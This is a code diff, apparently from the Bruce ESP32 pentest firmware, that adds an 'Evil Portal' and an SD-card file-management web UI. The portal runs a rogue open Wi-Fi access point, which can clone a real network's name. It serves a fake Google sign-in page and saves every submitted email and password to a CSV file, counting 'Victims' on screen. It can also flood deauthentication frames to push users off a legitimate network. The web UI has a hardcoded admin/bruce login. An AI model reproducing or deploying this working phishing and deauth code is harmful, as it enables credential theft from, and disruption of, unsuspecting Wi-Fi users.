+ tft.println("AP: " + AP_name);
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("->" + WiFi.softAPIP().toString() + "/creds");
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("->" + WiFi.softAPIP().toString() + "/ssid");
+ tft.setCursor(7,tft.getCursorY());
+ tft.print("Victims: ");
+ tft.setTextColor(TFT_RED);
+ tft.println(String(totalCapturedCredentials));
+ tft.setCursor(7,tft.getCursorY());
+ tft.setTextSize(FP);
+ tft.println(last_cred);
+
+ if (deauth){
+ if (hold_deauth) {
+ tft.setTextSize(FP);
+ tft.setTextColor(bruceConfig.priColor);
+ tft.drawRightString("Deauth OFF", tftWidth-7,tftHeight-14,SMOOTH_FONT);
+ } else {
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_RED);
+ tft.drawRightString("Deauth ON", tftWidth-7,tftHeight-14,SMOOTH_FONT);
+ }
+ }
+
+ //menu_op.pushSprite(8,26);
+ redraw=false;
+ }
+
+ if(!hold_deauth && (millis()-tmp) >5) {
+ wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed.
+ tmp=millis();
+ }
+
+ if(checkSelPress() && deauth) {
+ while(checkSelPress()) { delay(80); } // timerless debounce
+ hold_deauth = !hold_deauth;
+ redraw=true;
+ }
+ if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) {
+ redraw=true;
+ previousTotalCapturedCredentials = totalCapturedCredentials-1;
+ }
+ dnsServer.processNextRequest();
+
+ if(checkEscPress()) break;
+
+ }
+ ep->reset();
+ ep->end();
+ ep->~AsyncWebServer();
+ free(ep);
+ ep = nullptr;
+
+ delay(100);
+ wifiDisconnect();
+}
+
+// Função para salvar dados no arquivo CSV
+void saveToCSV(const String &filename, const String &csvLine) {
+ File file = SD.open(filename, FILE_APPEND);
+ if (!file) {
+ Serial.println("Error to open file");
+ return;
+ }
+ file.println(csvLine);
+ file.close();
+ Serial.println("data saved");
+}
+
+String getHtmlContents(String body) {
+ PROGMEM String html =
+ ""
+ ""
+ ""
+ " "
+ + AP_name + " "
+ " "
+ " "
+ " "
+ ""
+ ""
+ " "
+ "
"
+ " "
+ " "
+ "
"
+ "
"
+ "
"
+ ""
+ "";
+ return html;
+}
+
+String creds_GET() {
+ return getHtmlContents("" + capturedCredentialsHtml + " Back to Index
Clear passwords
");
+}
+
+String ssid_GET() {
+ return getHtmlContents("Set a new SSID for EVIL Portal:
");
+}
+String ssid_POST() {
+ return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + " . Please reconnect.");
+}
+
+String index_GET() {
+ String loginTitle = String("Sign in");
+ String loginSubTitle = String("Use your Google Account");
+ String loginEmailPlaceholder = String("Email");
+ String loginPasswordPlaceholder = String("Password");
+ String loginMessage = String("Please log in to browse securely.");
+ String loginButton = String("Next");
+
+ return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
+}
+String clear_GET() {
+ String email = "
";
+ String password = "
";
+ capturedCredentialsHtml = "
";
+ totalCapturedCredentials = 0;
+ return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtml Back to Index ");
+}
+
+void chooseHtml(bool def) {
+ ep_logo = "";
+ if(def) {
+ html_file = loopSD(true);
+ if(html_file.endsWith(".html")) {
+ ep_logo = "";
+ File html = SD.open(html_file, FILE_READ);
+ html_file = html.readString();
+ } else {
+ html_file = index_GET();
+ }
+ } else {
+ html_file = index_GET();
+ }
+}
diff --git a/html/AsyncWebServer/evil_portal.h b/html/AsyncWebServer/evil_portal.h
new file mode 100644
index 00000000..e6d9bb02
--- /dev/null
+++ b/html/AsyncWebServer/evil_portal.h
@@ -0,0 +1,27 @@
+#include
+#include
+#include "AsyncTCP.h"
+#include "ESPAsyncWebServer.h"
+#include
+#include
+
+// function defaults
+
+void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false);
+
+void chooseHtml(bool def = true);
+
+String getHtmlContents(String body);
+
+String creds_GET();
+
+String index_GET();
+
+String clear_GET();
+
+String ssid_GET();
+
+String ssid_POST();
+
+void saveToCSV(const String &filename, const String &csvLine);
+
diff --git a/html/AsyncWebServer/webInterface.cpp b/html/AsyncWebServer/webInterface.cpp
new file mode 100644
index 00000000..2aa8593e
--- /dev/null
+++ b/html/AsyncWebServer/webInterface.cpp
@@ -0,0 +1,455 @@
+#include "globals.h"
+#include "webInterface.h"
+#include "sd_functions.h" // using sd functions called to rename and manage sd files
+#include "wifi_common.h" // using common wifisetup
+#include "mykeyboard.h" // using keyboard when calling rename
+#include "display.h" // using displayRedStripe as error msg
+
+
+struct Config {
+ String httpuser;
+ String httppassword; // password to access web admin
+ int webserverporthttp; // http port number for web admin
+};
+
+// variables
+// command = U_SPIFFS = 100
+// command = U_FLASH = 0
+int command = 0;
+bool updateFromSd_var = false;
+bool update;
+
+size_t file_size;
+ // WiFi as a Client
+String default_httpuser = "admin";
+String default_httppassword = "bruce";
+const int default_webserverporthttp = 80;
+
+//WiFi as an Access Point
+IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
+
+Config config; // configuration
+
+AsyncWebServer *server = nullptr; // initialise webserver
+const char* host = "bruce";
+const String fileconf = "/bruce.txt";
+bool shouldReboot = false; // schedule a reboot
+String uploadFolder="";
+
+
+
+/**********************************************************************
+** Function: webUIMyNet
+** Display options to launch the WebUI
+**********************************************************************/
+void webUIMyNet() {
+ if (WiFi.status() != WL_CONNECTED) {
+ if(wifiConnectMenu()) startWebUi(false);
+ else {
+ displayError("Wifi Offline");
+ }
+ } else {
+ //If it is already connected, just start the network
+ startWebUi(false);
+ }
+ sprite.createSprite(tftWidth-20,tftHeight-20);
+ // On fail installing will run the following line
+}
+
+
+/**********************************************************************
+** Function: loopOptionsWebUi
+** Display options to launch the WebUI
+**********************************************************************/
+void loopOptionsWebUi() {
+ // Definição da matriz "Options"
+ options = {
+ {"my Network", [=]() { webUIMyNet(); }},
+ {"AP mode", [=]() { startWebUi(true); }},
+ };
+ delay(200);
+
+ loopOptions(options);
+ sprite.createSprite(tftWidth-20,tftHeight-20);
+ // On fail installing will run the following line
+}
+
+
+/**********************************************************************
+** Function: humanReadableSize
+** Make size of files human readable
+** source: https://github.com/CelliesProjects/minimalUploadAuthESP32
+**********************************************************************/
+String humanReadableSize(uint64_t bytes) {
+ if (bytes < 1024) return String(bytes) + " B";
+ else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB";
+ else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB";
+ else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB";
+}
+
+
+
+/**********************************************************************
+** Function: listFiles
+** list all of the files, if ishtml=true, return html rather than simple text
+**********************************************************************/
+String listFiles(bool ishtml, String folder) {
+ String returnText = "";
+ Serial.println("Listing files stored on SD");
+
+ if (ishtml) {
+ returnText += "Name Size \n";
+ }
+ File root = SD.open(folder);
+ File foundfile = root.openNextFile();
+ if (folder=="//") folder = "/";
+ uploadFolder = folder;
+ String PreFolder = folder;
+ PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/"));
+ if(PreFolder=="") PreFolder= "/";
+ returnText += "... \n";
+
+ if (folder=="/") folder = "";
+ while (foundfile) {
+ if(foundfile.isDirectory()) {
+ if (ishtml) {
+ returnText += "\n" + String(foundfile.name()) + " ";
+ returnText += " \n";
+ returnText += "   ";
+ returnText += "   \n";
+ returnText += " \n\n";
+ } else {
+ returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
+ }
+ }
+ foundfile = root.openNextFile();
+ }
+ root.close();
+ foundfile.close();
+
+ if (folder=="") folder = "/";
+ root = SD.open(folder);
+ foundfile = root.openNextFile();
+ while (foundfile) {
+ if(!(foundfile.isDirectory())) {
+ if (ishtml) {
+ returnText += "" + String(foundfile.name()) + " \n";
+ returnText += "" + humanReadableSize(foundfile.size()) + " \n";
+ returnText += "   \n";
+ returnText += "   \n";
+ returnText += " \n\n";
+ } else {
+ returnText += "File: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
+ }
+ }
+ foundfile = root.openNextFile();
+ }
+ root.close();
+ foundfile.close();
+
+ if (ishtml) {
+ returnText += "
";
+ }
+
+ return returnText;
+}
+
+/**********************************************************************
+** Function: processor
+** parses and processes webpages if the webpage has %SOMETHING%
+** or %SOMETHINGELSE% it will replace those strings with the ones defined
+**********************************************************************/
+
+String processor(const String& var) {
+ if (var == "FIRMWARE") return String(BRUCE_VERSION);
+ else if (var == "FREESD") return humanReadableSize(SD.totalBytes() - SD.usedBytes());
+ else if (var == "USEDSD") return humanReadableSize(SD.usedBytes());
+ else if (var == "TOTALSD") return humanReadableSize(SD.totalBytes());
+ else return "Attribute not configured";
+}
+
+
+/**********************************************************************
+** Function: checkUserWebAuth
+** used by server.on functions to discern whether a user has the correct
+** httpapitoken OR is authenticated by username and password
+**********************************************************************/
+bool checkUserWebAuth(AsyncWebServerRequest * request) {
+ bool isAuthenticated = false;
+ if (request->authenticate(config.httpuser.c_str(), config.httppassword.c_str())) {
+ isAuthenticated = true;
+ }
+ return isAuthenticated;
+}
+
+/**********************************************************************
+** Function: handleUpload
+** handles uploads to the filserver
+**********************************************************************/
+void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {
+ // make sure authenticated before allowing upload
+ Serial.println("Folder: " + uploadFolder);
+ if (uploadFolder=="/") uploadFolder = "";
+
+ if (checkUserWebAuth(request)) {
+ if (!index) {
+ // open the file on first call and store the file handle in the request object
+ request->_tempFile = SD.open(uploadFolder + "/" + filename, "w");
+ }
+
+ if (len) {
+ // stream the incoming chunk to the opened file
+ request->_tempFile.write(data, len);
+ }
+
+ if (final) {
+ // close the file handle as the upload is now done
+ request->_tempFile.close();
+ request->redirect("/");
+ enableCore0WDT();
+ }
+ } else {
+ return request->requestAuthentication();
+ }
+}
+/**********************************************************************
+** Function: notFound
+** handles not found requests
+**********************************************************************/
+void notFound(AsyncWebServerRequest *request) {
+ request->send(404, "text/plain", "Not found");
+}
+
+
+
+/**********************************************************************
+** Function: configureWebServer
+** configure web server
+**********************************************************************/
+void configureWebServer() {
+
+ MDNS.begin(host);
+
+ // if url isn't found
+ server->onNotFound([](AsyncWebServerRequest * request) {
+ request->redirect("/");
+ });
+
+ // visiting this page will cause you to be logged out
+ server->on("/logout", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->requestAuthentication();
+ request->send(401);
+ });
+
+ // presents a "you are now logged out webpage
+ server->on("/logged-out", HTTP_GET, [](AsyncWebServerRequest * request) {
+ String logmessage = "Client:" + request->client()->remoteIP().toString() + " " + request->url();
+ Serial.println(logmessage);
+ request->send_P(401, "text/html", logout_html, processor);
+ });
+
+ server->on("/rename", HTTP_POST, [](AsyncWebServerRequest * request) {
+ if (request->hasParam("fileName", true) && request->hasParam("filePath", true)) {
+ String fileName = request->getParam("fileName", true)->value().c_str();
+ String filePath = request->getParam("filePath", true)->value().c_str();
+ String filePath2 = filePath.substring(0,filePath.lastIndexOf('/')+1) + fileName;
+ if(!SD.begin()) {
+ sdcardMounted=false;
+ request->send(200, "text/plain", "Fail starting SD Card.");
+ } else {
+ // Rename the file of folder
+ if (SD.rename(filePath, filePath2)) {
+ request->send(200, "text/plain", filePath + " renamed to " + filePath2);
+ } else {
+ request->send(200, "text/plain", "Fail renaming file.");
+ }
+ }
+ }
+ });
+
+ // run handleUpload function when any file is uploaded
+ server->onFileUpload(handleUpload);
+
+
+ server->on("/", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if (checkUserWebAuth(request)) {
+ request->send_P(200, "text/html", index_html, processor);
+ } else {
+ return request->requestAuthentication();
+ }
+ });
+
+ server->on("/reboot", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if (checkUserWebAuth(request)) {
+ ESP.restart();
+ } else {
+ return request->requestAuthentication();
+ }
+ });
+
+ server->on("/listfiles", HTTP_GET, [](AsyncWebServerRequest * request)
+ {
+ if (checkUserWebAuth(request)) {
+ update = false;
+ String folder = "";
+ if (request->hasParam("folder")) {
+ folder = request->getParam("folder")->value().c_str();
+ } else {
+ String folder = "/";
+ }
+ request->send(200, "text/plain", listFiles(true, folder));
+
+ } else {
+ return request->requestAuthentication();
+ }
+ });
+
+ server->on("/file", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if (checkUserWebAuth(request)) {
+ if (request->hasParam("name") && request->hasParam("action")) {
+ const char *fileName = request->getParam("name")->value().c_str();
+ const char *fileAction = request->getParam("action")->value().c_str();
+
+ if (!SD.exists(fileName)) {
+ request->send(400, "text/plain", "ERROR: file does not exist");
+ } else {
+ if (strcmp(fileAction, "download") == 0) {
+ request->send(SD, fileName, "application/octet-stream");
+ } else if (strcmp(fileAction, "delete") == 0) {
+ if(deleteFromSd(fileName)) { request->send(200, "text/plain", "Deleted : " + String(fileName)); }
+ else { request->send(200, "text/plain", "FAIL delating: " + String(fileName));}
+
+ } else if (strcmp(fileAction, "create") == 0) {
+ if(SD.mkdir(fileName)) {
+ } else { request->send(200, "text/plain", "FAIL creating folder: " + String(fileName));}
+ request->send(200, "text/plain", "Created new folder: " + String(fileName));
+ } else {
+ request->send(400, "text/plain", "ERROR: invalid action param supplied");
+ }
+ }
+ } else {
+ request->send(400, "text/plain", "ERROR: name and action params required");
+ }
+ } else {
+ return request->requestAuthentication();
+ }
+ });
+
+ server->on("/wifi", HTTP_GET, [](AsyncWebServerRequest * request) {
+ if (checkUserWebAuth(request)) {
+ if (request->hasParam("usr") && request->hasParam("pwd")) {
+ const char *ssid = request->getParam("usr")->value().c_str();
+ const char *pwd = request->getParam("pwd")->value().c_str();
+ SD.remove(fileconf);
+ File file = SD.open(fileconf, FILE_WRITE);
+ file.print(String(ssid) + ";" + String(pwd) + ";\n");
+ config.httpuser = ssid;
+ config.httppassword = pwd;
+ file.print("#ManagerUser;ManagerPassword;");
+ file.close();
+ request->send(200, "text/plain", "User: " + String(ssid) + " configured with password: " + String(pwd));
+ }
+ } else {
+ return request->requestAuthentication();
+ }
+ });
+
+ server->on("/Oc34N", HTTP_GET, [](AsyncWebServerRequest * request) {
+ request->send(404, "text/html", page_404);
+ });
+
+}
+
+/**********************************************************************
+** Function: startWebUi
+** Start the WebUI
+**********************************************************************/
+void startWebUi(bool mode_ap) {
+
+config.httpuser = default_httpuser;
+config.httppassword = default_httppassword;
+config.webserverporthttp = default_webserverporthttp;
+file_size = 0;
+
+ if(setupSdCard()) {
+ if(SD.exists(fileconf)) {
+ Serial.println("File Exists, reading " + fileconf);
+ File file = SD.open(fileconf, FILE_READ);
+ if(file) {
+ default_httpuser = readLineFromFile(file);
+ default_httppassword = readLineFromFile(file);
+ config.httpuser = default_httpuser;
+ config.httppassword = default_httppassword;
+
+ file.close();
+ }
+ }
+ else {
+ File file = SD.open(fileconf, FILE_WRITE);
+ file.print( default_httpuser + ";" + default_httppassword + ";\n");
+ file.print("#ManagerUser;ManagerPassword;");
+ file.close();
+ }
+ }
+
+ if (WiFi.status() != WL_CONNECTED) {
+ // Choose wifi access mode
+ wifiConnectMenu(mode_ap);
+ }
+
+ // configure web server
+ Serial.println("Configuring Webserver ...");
+ server = (AsyncWebServer*)malloc(sizeof(AsyncWebServer));
+ new (server) AsyncWebServer(config.webserverporthttp);
+ configureWebServer();
+ server->begin();
+
+ drawMainBorder();
+ setTftDisplay(0,0,ALCOLOR,FM);
+ tft.drawCentreString("BRUCE WebUI",tftWidth/2,7,1);
+ String txt;
+ if(!mode_ap) txt = WiFi.localIP().toString();
+ else txt = WiFi.softAPIP().toString();
+ tft.setTextColor(bruceConfig.priColor);
+
+#ifndef STICK_C
+ tft.drawCentreString("http://bruce.local", tftWidth/2,25,1);
+ setTftDisplay(7,47);
+#else
+ tft.drawCentreString("http://bruce.local", tftWidth/2,17,1);
+ setTftDisplay(7,26);
+#endif
+ tft.setTextSize(FM);
+ tft.print("IP: "); tft.println(txt);
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("Usr: " + String(default_httpuser));
+ tft.setCursor(7,tft.getCursorY());
+ tft.println("Pwd: " + String(default_httppassword));
+ tft.setCursor(7,tft.getCursorY());
+ tft.setTextColor(TFT_RED);
+ tft.setTextSize(FP);
+
+ #ifdef CARDPUTER
+ tft.drawCentreString("press Esc to stop", tftWidth/2,tftHeight-15,1);
+ #else
+ tft.drawCentreString("press Pwr to stop", tftWidth/2,tftHeight-15,1);
+ #endif
+
+ disableCore0WDT();
+ disableCore1WDT();
+ disableLoopWDT();
+ while (!checkSelPress()) {
+ // nothing here, just to hold the screen until the server is on.
+ }
+ server->reset();
+ server->end();
+ server->~AsyncWebServer();
+ free(server);
+
+ server = nullptr;
+
+
+ delay(100);
+ wifiDisconnect();
+
+}
\ No newline at end of file
diff --git a/html/AsyncWebServer/webInterface.h b/html/AsyncWebServer/webInterface.h
new file mode 100644
index 00000000..2021675f
--- /dev/null
+++ b/html/AsyncWebServer/webInterface.h
@@ -0,0 +1,503 @@
+
+#include
+#include "AsyncTCP.h"
+#include "ESPAsyncWebServer.h"
+#include
+#include
+#include
+
+// function defaults
+String humanReadableSize(uint64_t bytes);
+String listFiles(bool ishtml, String folder);
+String processor(const String& var);
+String readLineFromFile(File myFile);
+
+void loopOptionsWebUi();
+
+void handleUpload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final);
+void notFound(AsyncWebServerRequest *request);
+
+void configureWebServer();
+void startWebUi(bool mode_ap = false);
+
+const char index_html[] PROGMEM = R"rawliteral(
+
+
+
+
+
+
+
+
+
+
+
+
+
BRUCE Firmware
+
Firmware for offensive pranks and pentest studies and analysis. For educational purposes only. Don't use in environments where you are not allowed. All responsibilities for irresponsible usage of this firmware rest on your fin, sharky. Sincerely, Bruce.
+
Firmware version: %FIRMWARE%
+
Free Storage: %FREESD% | Used: %USEDSD% | Total: %TOTALSD%
+
+
+
Reboot
+
Usr/Pass
+
SD Files
+
+
+
+
+
+
+
+
+
+
+
+
+)rawliteral";
+
+const char logout_html[] PROGMEM = R"rawliteral(
+
+
+
+
+
+
+
+
+
+
+
+)rawliteral";
+
+
+const char page_404[] PROGMEM = R"rawliteral(
+
+
+)rawliteral";
\ No newline at end of file
diff --git a/html/WebServer/evil_portal.cpp b/html/WebServer/evil_portal.cpp
new file mode 100644
index 00000000..17854d44
--- /dev/null
+++ b/html/WebServer/evil_portal.cpp
@@ -0,0 +1,267 @@
+#include "evil_portal.h"
+#include "globals.h"
+#include "mykeyboard.h"
+#include "wifi_common.h"
+#include "sd_functions.h"
+#include "wifi_atks.h"
+
+WebServer* ep= nullptr; // initialise webserver
+DNSServer dnsServer;
+
+String html_file, ep_logo, last_cred;
+String AP_name = "Free Wifi";
+int totalCapturedCredentials = 0;
+int previousTotalCapturedCredentials = -1; // stupid hack but wtfe
+String capturedCredentialsHtml = "";
+
+// Default Drauth Frame
+const uint8_t deauth_frame_default2[] = {
+ 0xc0, 0x00, 0x3a, 0x01,
+ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+ 0xf0, 0xff, 0x02, 0x00
+};
+
+void handleCreds() {
+ String html_temp = "";
+ String csvLine = "";
+ last_cred="";
+ for (int i = 0; i < ep->args(); i++) {
+ html_temp += ep->argName(i) + ": " + ep->arg(i) + " \n";
+ // Prepara dados para salvar no SD
+ if (i != 0) {
+ csvLine += ",";
+ }
+ csvLine += ep->argName(i) + ": " + ep->arg(i);
+ last_cred += ep->argName(i).substring(0,3) + ": " + ep->arg(i) + "\n";
+ }
+ html_temp += " \n";
+ saveToCSV("/Bruce_creds.csv", csvLine);
+ capturedCredentialsHtml = html_temp + capturedCredentialsHtml;
+ totalCapturedCredentials++;
+ ep->send(200, "text/html", getHtmlContents("Por favor, aguarde alguns minutos. Em breve você poderá acessar a internet."));
+}
+
+void startEvilPortal(String tssid, uint8_t channel, bool deauth) {
+
+ ep=(WebServer*)malloc(sizeof(WebServer));
+ new (ep) WebServer(80);
+ bool redraw=true;
+ // Definição da matriz "Options"
+ options = {
+ {"Default", [=]() { chooseHtml(false); }},
+ {"Custom Html", [=]() { chooseHtml(true); }},
+ };
+ delay(200);
+ loopOptions(options);
+ while(checkNextPress()){ yield(); } // debounce
+
+ // tssid="" means that are opening a virgin Evil Portal
+ if (tssid=="") {
+ AP_name = keyboard("Free Wifi", 30, "Evil Portal SSID:");
+ }
+ else { // tssid != "" means that is was cloned and can deploy Deauth
+ //memcpy(ap_record.bssid, bssid, 6);
+ memcpy(deauth_frame, deauth_frame_default2, sizeof(deauth_frame_default2));
+ wsl_bypasser_send_raw_frame(&ap_record,channel);
+ AP_name = tssid;
+ }
+
+
+ delay(200);
+ IPAddress AP_GATEWAY(172, 0, 0, 1);
+ WiFi.mode(WIFI_AP);
+ WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
+ WiFi.softAP(AP_name,emptyString,channel,0,10,false);
+ wifiConnected=true;
+ dnsServer.start(53, "*", WiFi.softAPIP());
+
+ ep->on("/", [](){
+ ep->send(200, "text/html", html_file);
+ });
+ ep->on("/post", handleCreds);
+
+ ep->onNotFound([](){
+ if (ep->args()>0) {
+ handleCreds();
+ } else {
+ ep->send(200, "text/html", html_file);
+ }
+ });
+
+ ep->on("/creds", []() {
+ ep->send(200, "text/html", creds_GET());
+ });
+
+ ep->on("/ssid", []() {
+ ep->send(200, "text/html", ssid_GET());
+ });
+
+ ep->on("/postssid", [](){
+ if(ep->hasArg("ssid")) AP_name = ep->arg("ssid").c_str();
+ ep->send(200, "text/html", ssid_POST());
+ ep->stop(); // pára o servidor
+ wifiDisconnect(); // desliga o WiFi
+ WiFi.softAP(AP_name); // reinicia WiFi com novo SSID
+ ep->begin(); // reinicia o servidor
+ previousTotalCapturedCredentials=-1; // redesenha a tela
+ });
+
+ ep->begin();
+
+ bool hold_deauth = false;
+ int tmp=millis(); // one deauth frame each 30ms at least
+ redraw=true;
+ while(1) {
+ if(redraw) {
+ drawMainBorder();
+
+ tft.setTextSize(FM);
+ tft.setTextColor(TFT_RED);
+ tft.drawCentreString("Evil Portal",tftWidth/2, 29, SMOOTH_FONT);
+ tft.setCursor(8,46);
+ tft.setTextColor(bruceConfig.priColor);
+ tft.println("AP: " + AP_name);
+ tft.setCursor(8,tft.getCursorY());
+ tft.println("->" + WiFi.softAPIP().toString() + "/creds");
+ tft.setCursor(8,tft.getCursorY());
+ tft.println("->" + WiFi.softAPIP().toString() + "/ssid");
+ tft.setCursor(8,tft.getCursorY());
+ tft.print("Victims: ");
+ tft.setTextColor(TFT_RED);
+ tft.println(String(totalCapturedCredentials));
+ tft.setCursor(8,tft.getCursorY());
+ tft.setTextSize(FP);
+ tft.println(last_cred);
+
+ if (deauth){
+ if (hold_deauth) {
+ tft.setTextSize(FP);
+ tft.setTextColor(bruceConfig.priColor);
+ tft.drawRightString("Deauth OFF", tftWidth-6,tftHeight-8,SMOOTH_FONT);
+ } else {
+ tft.setTextSize(FP);
+ tft.setTextColor(TFT_RED);
+ tft.drawRightString("Deauth ON", tftWidth-6,tftHeight-8,SMOOTH_FONT);
+ }
+ }
+
+ redraw=false;
+ }
+
+ if(!hold_deauth && (millis()-tmp) >5) {
+ wsl_bypasser_send_raw_frame(deauth_frame, 26); // sends deauth frames if needed.
+ tmp=millis();
+ }
+
+ if(checkSelPress() && deauth) {
+ while(checkSelPress()) { delay(80); } // timerless debounce
+ hold_deauth = !hold_deauth;
+ redraw=true;
+ }
+ if(totalCapturedCredentials!=(previousTotalCapturedCredentials+1)) {
+ redraw=true;
+ previousTotalCapturedCredentials = totalCapturedCredentials-1;
+ }
+ dnsServer.processNextRequest();
+ ep->handleClient();
+
+ if(checkEscPress()) break;
+ }
+ ep->close();
+ ep->~WebServer();
+ free(ep);
+ ep=nullptr;
+ dnsServer.stop();
+
+ delay(100);
+ wifiDisconnect();
+}
+
+// Função para salvar dados no arquivo CSV
+void saveToCSV(const String &filename, const String &csvLine) {
+ File file = SD.open(filename, FILE_APPEND);
+ if (!file) {
+ log_i("Error to open file");
+ return;
+ }
+ file.println(csvLine);
+ file.close();
+ log_i("data saved");
+}
+
+String getHtmlContents(String body) {
+ PROGMEM String html =
+ ""
+ ""
+ ""
+ " "
+ + AP_name + " "
+ " "
+ " "
+ " "
+ ""
+ ""
+ " "
+ "
"
+ " "
+ " "
+ "
"
+ "
"
+ "
"
+ ""
+ "";
+ return html;
+}
+
+String creds_GET() {
+ return getHtmlContents("" + capturedCredentialsHtml + " Back to Index
Clear passwords
");
+}
+
+String ssid_GET() {
+ return getHtmlContents("Set a new SSID for EVIL Portal:
");
+}
+String ssid_POST() {
+ return getHtmlContents("EVIL Portal shutting down and restarting with SSID " + AP_name + " . Please reconnect.");
+}
+
+String index_GET() {
+ String loginTitle = String("Sign in");
+ String loginSubTitle = String("Use your Google Account");
+ String loginEmailPlaceholder = String("Email");
+ String loginPasswordPlaceholder = String("Password");
+ String loginMessage = String("Please log in to browse securely.");
+ String loginButton = String("Next");
+
+ return getHtmlContents("" + loginTitle + "
" + loginSubTitle + "
");
+}
+String clear_GET() {
+ String email = "
";
+ String password = "
";
+ capturedCredentialsHtml = "
";
+ totalCapturedCredentials = 0;
+ return getHtmlContents("The credentials list has been reset.
Back to capturedCredentialsHtml Back to Index ");
+}
+
+void chooseHtml(bool def) {
+ ep_logo = "";
+ if(def) {
+ html_file = loopSD(true);
+ if(html_file.endsWith(".html")) {
+ ep_logo = "";
+ File html = SD.open(html_file, FILE_READ);
+ html_file = html.readString();
+ } else {
+ html_file = index_GET();
+ }
+ } else {
+ html_file = index_GET();
+ }
+}
diff --git a/html/WebServer/evil_portal.h b/html/WebServer/evil_portal.h
new file mode 100644
index 00000000..d700e278
--- /dev/null
+++ b/html/WebServer/evil_portal.h
@@ -0,0 +1,26 @@
+#include
+#include
+#include
+#include
+#include
+
+// function defaults
+
+void startEvilPortal(String tssid = "", uint8_t channel = 6, bool deauth = false);
+
+void chooseHtml(bool def = true);
+
+String getHtmlContents(String body);
+
+String creds_GET();
+
+String index_GET();
+
+String clear_GET();
+
+String ssid_GET();
+
+String ssid_POST();
+
+void saveToCSV(const String &filename, const String &csvLine);
+
diff --git a/html/WebServer/webInterface.cpp b/html/WebServer/webInterface.cpp
new file mode 100644
index 00000000..24f326c0
--- /dev/null
+++ b/html/WebServer/webInterface.cpp
@@ -0,0 +1,467 @@
+#include "globals.h"
+#include "webInterface.h"
+#include "sd_functions.h" // using sd functions called to rename and manage sd files
+#include "wifi_common.h" // using common wifisetup
+#include "mykeyboard.h" // using keyboard when calling rename
+#include "display.h" // using displayRedStripe as error msg
+
+
+struct Config {
+ String httpuser;
+ String httppassword; // password to access web admin
+ int webserverporthttp; // http port number for web admin
+};
+
+File uploadFile;
+ // WiFi as a Client
+String default_httpuser = "admin";
+String default_httppassword = "bruce";
+const int default_webserverporthttp = 80;
+
+//WiFi as an Access Point
+IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
+
+Config config; // configuration
+
+WebServer* server=nullptr; // initialise webserver
+const char* host = "bruce";
+const String fileconf = "/bruce.txt";
+String uploadFolder="";
+
+
+
+/**********************************************************************
+** Function: webUIMyNet
+** Display options to launch the WebUI
+**********************************************************************/
+void webUIMyNet() {
+ if (WiFi.status() != WL_CONNECTED) {
+ if(wifiConnectMenu()) startWebUi(false);
+ else {
+ displayError("Wifi Offline");
+ }
+ } else {
+ //If it is already connected, just start the network
+ startWebUi(false);
+ }
+ // On fail installing will run the following line
+}
+
+
+/**********************************************************************
+** Function: loopOptionsWebUi
+** Display options to launch the WebUI
+**********************************************************************/
+void loopOptionsWebUi() {
+ // Definição da matriz "Options"
+ options = {
+ {"my Network", [=]() { webUIMyNet(); }},
+ {"AP mode", [=]() { startWebUi(true); }},
+ };
+ delay(200);
+
+ loopOptions(options);
+ // On fail installing will run the following line
+}
+
+
+/**********************************************************************
+** Function: humanReadableSize
+** Make size of files human readable
+** source: https://github.com/CelliesProjects/minimalUploadAuthESP32
+**********************************************************************/
+String humanReadableSize(uint64_t bytes) {
+ if (bytes < 1024) return String(bytes) + " B";
+ else if (bytes < (1024 * 1024)) return String(bytes / 1024.0) + " kB";
+ else if (bytes < (1024 * 1024 * 1024)) return String(bytes / 1024.0 / 1024.0) + " MB";
+ else return String(bytes / 1024.0 / 1024.0 / 1024.0) + " GB";
+}
+
+
+
+/**********************************************************************
+** Function: listFiles
+** list all of the files, if ishtml=true, return html rather than simple text
+**********************************************************************/
+String listFiles(bool ishtml, String folder) {
+ String returnText = "";
+ Serial.println("Listing files stored on SD");
+
+ if (ishtml) {
+ returnText += "Name Size \n";
+ }
+ File root = SD.open(folder);
+ File foundfile = root.openNextFile();
+ if (folder=="//") folder = "/";
+ uploadFolder = folder;
+ String PreFolder = folder;
+ PreFolder = PreFolder.substring(0, PreFolder.lastIndexOf("/"));
+ if(PreFolder=="") PreFolder= "/";
+ returnText += "... \n";
+
+ if (folder=="/") folder = "";
+ while (foundfile) {
+ if(foundfile.isDirectory()) {
+ if (ishtml) {
+ returnText += "\n" + String(foundfile.name()) + " ";
+ returnText += " \n";
+ returnText += "   ";
+ returnText += "   \n";
+ returnText += " \n\n";
+ } else {
+ returnText += "Folder: " + String(foundfile.name()) + " Size: " + humanReadableSize(foundfile.size()) + "\n";
+ }
+ }
+ foundfile = root.openNextFile();
+ }
+ root.close();
+ foundfile.close();
+
+ if (folder=="") folder = "/";
+ root = SD.open(folder);
+ foundfile = root.openNextFile();
+ while (foundfile) {
+ if(!(foundfile.isDirectory())) {
+ if (ishtml) {
